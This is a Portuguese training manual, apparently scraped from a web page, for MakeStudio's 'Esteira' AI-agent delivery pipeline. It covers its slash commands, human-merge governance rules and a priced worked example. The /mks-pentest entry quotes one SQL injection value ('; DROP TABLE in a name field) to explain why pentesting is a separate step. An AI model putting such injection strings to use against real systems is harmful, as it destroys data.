- /mks-release— bump versão + git tag com changelog Por quê POR ÚLTIMO: versiona o que passou por TODOS os portões. Exige árvore limpa — na prática força o merge humano (P8) a já ter acontecido antes da tag nascer.
- /mks-calibration— compare estimado vs real, ajuste a âncora
- A próxima estimativa é melhor que a anterior
Comando por comando — a referência de operação
Cada comando abaixo tem quatro campos: Quando rodar (o gatilho), O que faz (o mecanismo), Como usar (a sintaxe exata) e O que esperar (o resultado verificável no disco ou no board) — mais o Por que este comando: a dependência que justifica ele existir separado e nesta posição. Os módulos com portões próprios — Plan, Build, Harden — têm treinamento completo nas seções 03–05.
/mks-init
delivery/, o arquivo delivery.json com parâmetros de estimativa (âncora 28 UE, ratePerDU R$ 130, buffer 10%, margem 20%), as regras de fase (plan.md, build.md, harden.md), e registra os repositórios que a Esteira vai gerenciar.pom.xml, package.json…), ele RECUSA e orienta — workspace novo, projeto registrado depois (git URL → clone, ou path local → symlink). O estado híbrido (Esteira dentro do repo de código) não existe como opção: é o que faz o Build escrever source no lugar errado. Nenhum outro comando inicializa no lugar dele (o blueprint aborta se o delivery.json falta) — nunca há duas inicializações divergentes.delivery/ existe com todos os arquivos. git status mostra os novos./mks-onboard
/mks-explore
brainstorm.md dentro da workstream.brainstorm.md vira insumo direto do blueprint, que não re-pergunta o que aqui já foi respondido. Sem ele, a interview gasta suas rodadas redescobrindo o óbvio./mks-interview
/mks-quote
UE × ratePerDU × (1 + buffer) × (1 + margem). A saída é a proposta auditável: por workstream, por track (T1 Fundação 28 DU…), com subtotal e total — e marca (parcial) quando uma workstream ainda tem DU _TBD_ (o preço ali é piso, não fechado)./mks-blueprint
delivery/context/), lê o brainstorm.md de um /mks-explore anterior (não re-pergunta o que já foi resolvido), analisa os repos, pesquisa benchmarks, entrevista em múltiplas rodadas, valida o escopo via ExitPlanMode + um gate clicável de confirmação — e só então escreve: overview.md (linguagem de cliente, com métricas de sucesso e tracks MVP), presentation.html (copiado do template, nunca re-digitação) e estimate.md com todos os DU como _TBD_.delivery.json não existe, ele aborta na hora ("rode /mks-init primeiro") em vez de inicializar sozinho — cada comando tem um trabalho só.active/<data>-system|feature-<slug>/ com overview.md, presentation.html e estimate.md (DU _TBD_ — o número real nasce no breakdown, aqui é proibido preview de DU)./mks-breakdown
calibration.json. É aqui que o DU deixa de ser _TBD_ e vira número defensável.perAcceptanceCriterion). Critério vago aqui = validação cega lá. Por que antes da arquitetura: o arquiteto exige o escopo completo para decidir a fundação./mks-architecture
architecture.md na raiz da workstream. Hard precondition: se o breakdown está incompleto, a skill PARA. Guardrail absoluto: nunca implementa código nem roda build./mks-board
active/, completed/ e archived/ e monta a tabela — workstream, brainstorm existe?, tracks documentadas, tasks, presentation. Move (complete/archive <workstream>): move o diretório inteiro de status, limpa worktrees órfãs de delivery/repos/.worktrees/ e sincroniza o card no kanban (se configurado)./mks-board complete <workstream>
/mks-board archive <workstream>
/delivery ou /board (dashboard nativa — Esteira visual com gates de fase)
/mks-ticket
YYYYMMDD-bug-<slug>/ ou -activity-<slug>/ — com UMA story (track-1-fix/ ou track-1-implementation/), critérios de aceite, estimate.md com DU contado e tradução para os idiomas configurados. Pula overview, presentation e brainstorm — não fazem sentido para um ponto./mks-blueprint (com resumo pronto para colar) — quick flow é para UMA story, e segunda story na mesma workstream rápida é proibida. Enriquecimento: links de bug-capture (ex.: jam.dev) puxam console logs/network/screenshots via MCP — com sua permissão, uma vez por serviço./mks-techplan → build → review./mode plan | build | harden
delivery/rules/<fase>.md). Em plan: Write/Edit bloqueados (só leitura e planejamento). Em build: implementação liberada com plano técnico obrigatório. Em harden: foco em validação e segurança./mode build
/mode harden
/mks-techplan
delivery/repos/, shapes por nome (entidade = colunas/tipos; endpoint = método/path/auth) e checklist. Documento de INTENÇÃO — ≤80 linhas, zero código colado. Precondições duras: story precisa de spec funcional (senão aborta — build-plan órfão não aparece no board); repo configurado (senão aborta — nunca escreve na raiz do workspace).build-plans/story-NNNN-*-build-plan.md com checklist — a story sai de "planejada" no board e o próximo passo apontado é o /mks-build./mks-build
workstream/<ws>/<story> por repo (ou worktree isolado), checklist do plano como estado durável — cada item [x] no disco sobrevive a compactação/restart, a retoma não re-descobre nada. Lê o CLAUDE.md de cada repo antes de tocar nele, roda typecheck/testes, e grava o custo REAL no calibration./mks-review
[--auto-fix-min=<critical|high>] [--base=<branch>]
[--story=<slug>] [--repo=<name>]
/mks-review-profile
profile.md em delivery/rules/code-review/<repo>/./mks-validate
[x] no critério, e só quando TODAS as tools primárias passam./mks-validate <workstream> <story> --tool=<name>
/mks-validate <workstream> --track <N>
[x] quando TODAS as tools primárias passam. Falhas viram bug-NNN com severidade e evidência. Modo track revalida até zerar bloqueantes — e a última run re-testa TUDO para pegar regressão./mks-pentest
'; DROP TABLE no campo nome". Caminho malicioso é trabalho do pentest./mks-release
delivery.json (+ template.version em template mode) → README → commit + push → changelog funcional dos commits → git tag anotado → push da tag → marcador .delivery-released.json via tool RecordRelease (o board marca a workstream como released). Treinamento completo na seção 05.v0.2.0 anotada com o changelog funcional no remote — git show v0.2.0 exibe o changelog para sempre — e o board marcando a workstream como released (marcador validado pela tool). Aborta se a árvore estiver suja ou a versão for igual à atual./mks-meter
record [id] grava o custo medido como actual no ledger — e aplica o multi-stack gate: story taggeada com múltiplos layers (api, web) só fecha se tocou arquivos em CADA layer, senão um layer seria pulado em silêncio e a dashboard nunca mostraria./mks-meter (relatório)
actual no calibration.json; sem o pino da story ativa, record reclama./mks-calibration
/mks-story
off desliga a atribuição.actual no calibration.json./mks-story (ver a ativa)
/mks-story off (desligar)
/mks-doctor
/mks-darkfactory
/mks-design
/mks-sync
delivery/rules/ e skills para a versão atual, preservando customizações do projeto.ContrataCRM — o roteiro de execução, com o que aparece em cada passo
Este é o roteiro do exemplo, montado sobre o que o sistema realmente imprime e produz (handlers, skills e artefatos verificados). Cada passo mostra: o comando exato, o que o agente faz, o que VOCÊ decide, e o que aparece — o output literal ou o artefato no disco. Seguindo-o, você sabe reconhecer sucesso e desvio em cada etapa. A ordem canônica das estações, com o porquê de cada posição, está no mapa da seção 10 — aqui a mesma jornada é vista por dentro, com os números do ContrataCRM (156 UE estimadas · R$ 26.770 aprovados · 163 UE medidas).
FASE 0 — custear (4 comandos + 1 gate)
1 · /mks-init
O agente entrevista (nome, repos, linguagem), aplica defaults em silêncio (âncora 28, R$ 130, buffer 10%, margem 20%) e faz o scaffold. Você registra os repos do saas-starter (backend, frontend) por symlink local.
delivery/
├── delivery.json ← { estimation: {...}, pricing: {...}, repositories: [backend, frontend] }
├── rules/ ← plan.md · build.md · harden.md
├── workstreams/{active,completed,archived}/
└── repos/{backend→, frontend→} ← symlinks para o boilerplate2 · /mks-explore "sistema de gestão de contratos recorrentes"
O Consultor entrevista em rodadas, lê o código dos repos (o harness obriga tool use), e grava as conclusões. Você responde sobre problema, bordas e riscos.
workstreams/20260920-system-contrata/brainstorm.md com problema, escopo, abordagens consideradas e questões abertas.3 · /mks-interview contrata
Entrevista de classificação. Você confirma os níveis com justificativa: R2 (cobrança, conciliável), Governance Medium (trilha de auditoria), marcos com incerteza Low/Medium/Low.
4 · /mks-quote
O handler soma o DU das workstreams ativas e calcula. Sem entrevista nova — leitura pura do disco.
Proposta rate R$ 130,00 · margem 20%
contrata (system)
156 DU → R$ 26.770
T1 fundacao 64 DU
T2 contratos 76 DU
T3 relatorios 16 DU
Total: 156 DU → R$ 26.770 (subtotal R$ 22.308 + margem 20%)5 · GATE — o cliente aprova
Nada de comando: você apresenta a proposta auditável e registra a aprovação. Sem ela, a Esteira não abre — mudança de escopo depois daqui = nova Fase 0 do delta.
FASE 1 — plan (4 comandos)
6 · /mks-blueprint contrata
O PO lê o brainstorm (não re-pergunta), entrevista o que falta, valida via ExitPlanMode + gate clicável ("Sim, escopo confirmado — pode escrever"), e escreve.
overview.md (como funciona, métricas de sucesso, 3 tracks, future ideas), presentation.html (template copiado, placeholders preenchidos), estimate.md com todos os DU _TBD_. A resposta termina apontando: "rode /mks-breakdown all".7 · /mks-breakdown contrata all
Quebra as 3 tracks em stories. Size/Complexity o agente propõe; R/G/U/Urgency aparecem em tabela e ESPERAM sua confirmação.
story-NNNN-*.md + *-acceptance-criteria.md por track; o DU real gravado no calibration.json (deixa de ser _TBD_). O board passa a listar cada story com seu DU.8 · /mks-architecture contrata
O Arquiteto confere que o breakdown está completo (senão PARA), lê os repos e decide a fundação uma vez.
architecture.md — visão estrutural, ADRs numerados (TypeORM como ORM · herda JWT 15m/refresh 7d httpOnly e organizations do boilerplate · contratos como entidade própria), riscos estruturais, rodapé de auditoria. Assinado [Arquiteto].9 · /mks-board
## Plan Status ### Active (1 workstream) | Workstream | Brainstorm | Tracks | Tasks Done | Presentation | |----------------|------------|---------------|------------|--------------| | 20260920-system-contrata | Yes | 3/3 documented | 0/11 | Yes |
FASE 2 — build (o ciclo por story, 11×)
10 · /mode build + /mks-story contrata/track-1/story-0001
✓ medindo story contrata/track-1/story-0001 — todo consumo da sessão passa a ser atribuído à story 0001.11 · /mks-techplan contrata 0001
O Tech Lead lê architecture + spec + repos, entrevista decisões técnicas e escreve UM arquivo (≤80 linhas: tasks com paths, shapes, checklist).
track-1/build-plans/story-0001-cadastro-clientes-build-plan.md — ex.: task "criar entity Customer (id, cnpj, nome, email) em backend/src/customers/", shape do endpoint POST /customers — auth: bearer, checklist - [ ] por task. Termina apontando o /mks-build.12 · /mks-build contrata 0001
Pergunta a base branch por repo, cria workstream/contrata/story-0001, implementa item a item — build + testes ANTES de cada commit — marca [x], commita; no último item fecha os critérios de aceite contra o código (sem carimbo) e cria o PR draft.
13 · /mks-review
4 lentes no diff; Critical/High auto-corrigidos com build+testes e commit atômico; sem profile, o personalizador RODA primeiro.
reviews/story-0001/CURRENT.md com veredito — o esperado no exemplo: APPROVE WITH CHANGES, findings Medium "validar formato de CNPJ no DTO" documentados, SHA do fix do único High. Rodar de novo sem diff novo: "cached — verdict APPROVE WITH CHANGES".14 · /mks-meter record · repete 11–14 por story
FASE 3 — harden (3 comandos + merge)
15 · /mode harden + /mks-validate contrata --track 1
Pré-flight (health do backend/frontend via .env), classificação api/ui/manual com sua confirmação, login 1×, e o browser testa critério a critério com fix loop de 3.
validation-reports/track-1/track-summary.md + por story: relatório com ✓/✗ por critério e screenshots em evidence/. O esperado no exemplo: 100% [x] após o fix loop; qualquer bug restante vira bugs/bug-001-*.md com severidade.16 · /mks-pentest contrata track-2
Pré-flight das 8 verificações → painel com custo (~US$ 50) e duração (~1–1,5h) → seu "yes" explícito → Shannon white-box lendo delivery/repos/.
pentest-audits/runs/20260920-0001/ com workstream.txt (rastreabilidade) + relatório verbatim. Review é manual — o agente aponta o diretório e PARA.17 · merge humano + /mks-release 1.0.0
Você revisa os PRs e faz o merge (P8). Com a árvore limpa, o DevOps roda o protocolo de 10 passos.
chore: bump version to v1.0.0 → tag anotada com o changelog funcional → push → tool RecordRelease valida tag+versão e grava .delivery-released.json → o board marca a workstream como released. git show v1.0.0 exibe o changelog para sempre.O resultado final — os entregáveis verificáveis do teste
20260920-system-contrata com 3 tracks · 11 stories com critérios [x] · 11 build-plans 100% [x] · architecture.md com ADRs · branches mergeadas e deletadas · validation-reports com screenshots por critério · 1 pentest run arquivada · tag v1.0.0 com changelog funcional · calibration.json com 11 actuals. Números esperados: 156 UE estimadas · R$ 26.770 aprovados · 163 UE medidas (veredito calibrated, +4,5%) · zero push sem gate · zero commit na main.A motivação — cada fase resolve um problema real
Antes de aprender os comandos, entenda por que cada peça existe. Uma ferramenta sem motivação é burocracia; com motivação, é processo.
Fase 0 existe porque preço chuteado quebra a confiança
"Acho que dá umas 2 semanas" — e no dia 15 você está explicando por que não está pronto. A Fase 0 transforma preço em consequência de escopo classificado: o número tem pai, e o cliente pode auditar a linhagem.
Plan existe porque escopo elástico devora a margem
Sem contrato funcional, todo "só mais uma coisinha" entra grátis — e sai do seu bolso. Overview, critérios e DU transformam pedidos extras em nova Fase 0, com preço próprio.
Build existe porque código sem plano é descoberta cara
O agente que implementa direto da spec funcional descobre o sistema no meio do código — o lugar mais caro de descobrir. Techplan primeiro, código depois: 20–40% de retrabalho a menos.
Harden existe porque "funciona na minha máquina" não é entrega
Compilar não é funcionar; funcionar não é seguro. Validate prova o primeiro com evidência visual; pentest prova o segundo tentando quebrar.
Calibração existe porque erro não corrigido se repete
Estimativa sistematicamente 30% abaixo não é azar — é âncora errada. Medir, comparar, ajustar: a próxima estimativa nasce da realidade, não da esperança.
Governança existe porque o repo é território do cliente
Um push indevido ou um reset --hard custa mais confiança que qualquer bug. P1–P8 aplicadas em código: o agente não pode, em vez de não dever.
P1–P8 — cada regra com motivação e consequência
Estas regras existem porque alguém já pagou o preço de ignorá-las. Cada uma é aplicada em código pelo harness — o agente não pode "esquecer".
Toda implementação vive em branch própria (
story/<id>-<slug>). O merge é sempre um gesto humano consciente (PR review). Sem isto: um agente confundido sobrescreve a main de produção num sábado à noite.Um commit = uma unidade lógica de trabalho da story. Sem isto: o histórico vira uma sopa onde é impossível reverter uma coisa sem quebrar outra.
O agente NUNCA faz push sem você mandar. Sem isto: código incompleto vai para o remoto e alguém pode puxar.
O agente precisa de um plano técnico aprovado antes de editar código. Sem isto: descoberta cara no meio da implementação, retrabalho de 20-40%.
O harness verifica que os edits estão no disco (git diff), que o build passou, e que os testes rodaram. Sem isto: o agente reporta "pronto" e o usuário descobre no deploy que nada foi escrito.
Após o deploy, o harness confirma que os assets chegaram no servidor (timestamp/file check). Sem isto: "pronto localmente" é vendido como "pronto" e o usuário testa versão antiga.
Se o agente descobre que precisa fazer algo além do que a story pede, isso vira uma nova story ou um update documentado. Sem isto: scope creep silencioso corrói a estimativa.
A Esteira prepara tudo — branch, commits, PR draft — e para. O merge é gesto consciente de quem revisa. Sem isto: o agente faz merge de código que ninguém leu.
Quem faz o quê na Esteira
A Esteira não substitui pessoas — ela amplifica. Cada papel tem responsabilidade clara e o agente é a ferramenta, não o dono.
O Decisor (você)
Aprove o preço, revise o merge, defina prioridades. Toda decisão comercial e todo merge é seu.
- Aprova ou rejeita o preço da Fase 0
- Revisa e aprova build-plans
- Faz o merge (P8 — sempre humano)
- Define quando entrar em Harden
O Agente (MakeStudio)
Executa o trabalho técnico seguindo as regras da fase ativa. É a ferramenta que nunca se cansa.
- Explora código e boilerplates
- Escreve build-plans seguindo a arquitetura
- Implementa código com typecheck + testes
- Revisa com 4 lentes paralelas
- Valida critérios com browser real
O Auditor (o harness)
Cada "pronto" é verificado deterministicamente. O juiz que não aceita "confia em mim".
- Spec-gate: roda testes irmãos após cada edit
- Shadow-audit: diff do turno vs pedido
- Danger-gate: score de risco antes de Bash
- Rollback: turnos que falham são revertidos
O Calibrador (o tempo)
A cada entrega, a medição real corrige a estimativa. A Esteira fica mais precisa com o uso.
- Mede tokens/custo/tempo por story
- Compara estimado vs realizado
- Ajusta âncora quando desvio é sistemático
- Registra todo ajuste (nunca silencioso)
O especialista por trás de cada comando
Cada skill da Esteira opera como um especialista com personalidade própria — não um chat genérico. A voz é parte do design: ela molda COMO o agente pensa e responde naquele comando. E ela se identifica: toda resposta vem assinada com o papel (ex.: [Arquiteto]) — se a assinatura não bate com o comando, algo saiu do trilho.
| Comando | Especialista | Como ele pensa (da própria skill) |
|---|---|---|
/mks-init · /mks-explore | Consultor | "Consultative and curious. Listen first, propose later" — decodifica o problema real antes de falar em escopo ou preço |
/mks-ticket | Analista de Negócio | "Methodical. Ask precise questions. Always explore exceptions and edge cases" — caça o edge case antes dele virar bug |
/mks-blueprint | Product Owner | "Value-driven. Prefer shipping 80% fast over 100% late" — fala em valor e métricas de adoção, não em tecnologia |
/mks-architecture | Arquiteto | "Strategic. Tie every decision to its long-term consequences. Name trade-offs explicitly" — decide no nível do SISTEMA, nunca da story |
/mks-techplan · /mks-board | Tech Lead | "Objective. Organise in checklists and dependencies. Anticipate blockers and technical risks" — transforma escopo em sequência executável |
/mks-build | Equipe de Desenvolvimento | "Objective and technical. Report what was done and what is left. Cite files, branches, PRs" — reporta feito e faltante, com path |
/mks-validate | QA | "Constructive skeptic. Hunt for uncovered scenarios" — cético profissional: procura o cenário que ninguém cobriu |
/mks-release | DevOps / Release | "Cautious. Always mention rollback and observability. Think about 'what happens if this fails at 3am'" — o pessimista de plantão, de propósito |
Artifacts produzidos em cada fase
| Fase | Artifact | Onde vive | Quem consome |
|---|---|---|---|
| Fase 0 | Documento de escopo + proposta | delivery/workstreams/<ws>/estimate.md | Cliente (aprova), breakdown (herda entregáveis) |
| Plan | overview.md · architecture.md · stories com critérios | workstreams/<ws>/ | Techplan, validate (critérios), board |
| Build | build-plans + código em branch | track-N/build-plans/ + delivery/repos/ | Review, merge humano |
| Harden | relatórios de validação + bugs + runs de pentest | validation-reports/ · pentest-audits/runs/ | Cliente (aprova), release (gate) |
| Release | tag anotada com changelog | git (remote) | Time inteiro — git show v<version> |
| Contínua | calibration.json (ledger) | delivery/ | Motor (âncora ajustada), /mks-quote |
Armadilhas que todo iniciante cai — e como a Esteira protege
Cada erro abaixo é real, já aconteceu, e tem uma proteção estrutural na Esteira. Conhecer as armadilhas é metade da certificação.
Por que acontece: o modelo alucina conclusão — reporta com confiança o que não fez.
Como a Esteira protege: P5: cada lote de edição é verificado no disco (git diff/grep). Edit anunciado que não está lá bloqueia o turno.
Por que acontece: estimativa sem classificação nem calibração — número sem linhagem.
Como a Esteira protege: Fase 0 com 6 fatores + calibração contínua com veredito por repo.
Por que acontece: pular review/validate sob pressão de prazo.
Como a Esteira protege: Harden é fase separada com gate: 100% critérios + zero críticos + merge humano.
Por que acontece: sem evidência de ferramenta, "passou" é apenas prosa.
Como a Esteira protege: spec-gate roda os testes de verdade; validate exige screenshot por critério.
Por que acontece: sem modo explícito, as regras são ambíguas.
Como a Esteira protege: /mode troca as regras em código — plan mode bloqueia Write/Edit no harness.
Por que acontece: caminho curto na pressa.
Como a Esteira protege: P1: o plugin de git bloqueia commit fora de branch de story.
Por que acontece: ninguém mede o custo real por story.
Como a Esteira protege: /mks-story aponta → /mks-meter grava → /mks-calibration ajusta a âncora por repo.
Por que acontece: critérios de aceite testam fluxo de usuário, não vetor de ataque.
Como a Esteira protege: pentest white-box obrigatório antes do release — zero críticos é gate.
Vocabulário formal da Esteira
Termos que você precisa dominar para operar com confiança.
delivery/workstreams/active/.Teste seu entendimento
Se você responde estas 8 perguntas com confiança, você domina a Esteira.
resposta
Porque arquitetura se decide contra o escopo COMPLETO — a skill para se o breakdown está incompleto. Decidir antes é decidir duas vezes: a story que chegar depois invalida a decisão.resposta
Aborta por precondição dura — nunca improvisa da spec funcional. É a proteção contra implementar sem planta (a regressão dos 19 arquivos sem rastreio).resposta
Só quando TODAS as tools de peso primary passam naquele critério — e o texto do critério nunca é alterado, só flipado.resposta
Fator > 1,05: o trabalho custou mais que o estimado (na média do repo). A âncora ajustada sobe — estimativas seguintes daquele repo nascem maiores.resposta
A tag eterniza um commit exato. Trabalho não-commitado significa que o código validado no Harden pode diferir do que a tag congela — e na prática força o merge humano (P8) a já ter acontecido.resposta
/mks-ticket CRIA uma workstream rápida com uma story (bug/atividade pontual). /mks-story é o pino de medição: aponta a story ativa para o meter atribuir o consumo.resposta
O workspace é control plane (processo versionado); código vive em delivery/repos/. O estado híbrido é o que faz o build improvisar caminhos e escrever no lugar errado — o init recusa instalar em repo de código por isso.resposta
Compara o diff do turno contra o que foi pedido — aplicando P7: escopo de story não muda sem registro. Mudança além do escopo vira finding com evidência.Níveis de domínio
Operador
Roda a jornada guiada: init → explore → interview → quote → blueprint → breakdown → techplan → build → review. Sabe responder o que cada comando produz.
Guardião
Domina os gates: sabe quando NÃO avançar, lê findings de review/validate/pentest e decide severidade, faz o merge consciente (P8).
Estimador
Classifica os 6 fatores com justificativa, defende o preço com a tabela auditável, interpreta vereditos de calibração e ajusta a âncora.
Arquiteto
Domina o processo completo: /mks-architecture, /mks-darkfactory, /mks-calibration. Ensina outros. Define padrões do projeto.
O que decidir agora
Um manual sem pedidos explícitos é um ensaio. Estas são as decisões que este documento coloca na mesa:
Fontes e rastreabilidade
Todo número deste documento rastreia a uma das fontes abaixo ou está explícito como hipótese/ilustração.
âncora 28 UE · R$ 130/UE · margem 20% · buffer 10% · pesos de escopo
método que originou a Fase 0 (referência interna)
monorepo NestJS+TypeORM+Passport (JWT acesso 15m + refresh 7d httpOnly, módulo organizations, @nestjs/throttler, Swagger /api/docs, e2e auth+users em SQLite) e React 19+Vite+Tailwind+Zustand+axios; Docker Compose PostgreSQL 16 + Redis 7
fases, portões e regras P1–P8 documentadas no projeto MakeStudio
comando por comando: vozes/papéis, precondições duras, guardrails e artefatos exatos que cada skill produz
calibration.ts (ledger, fatores, vereditos cold/hot), estimation/factors.ts (tabelas de 6 fatores), lifecycle.ts (sequência blueprint→breakdown→architecture), overview.ts (leitura do disco), slash-handlers/delivery.ts (interview/quote/meter/calibration/story/doctor)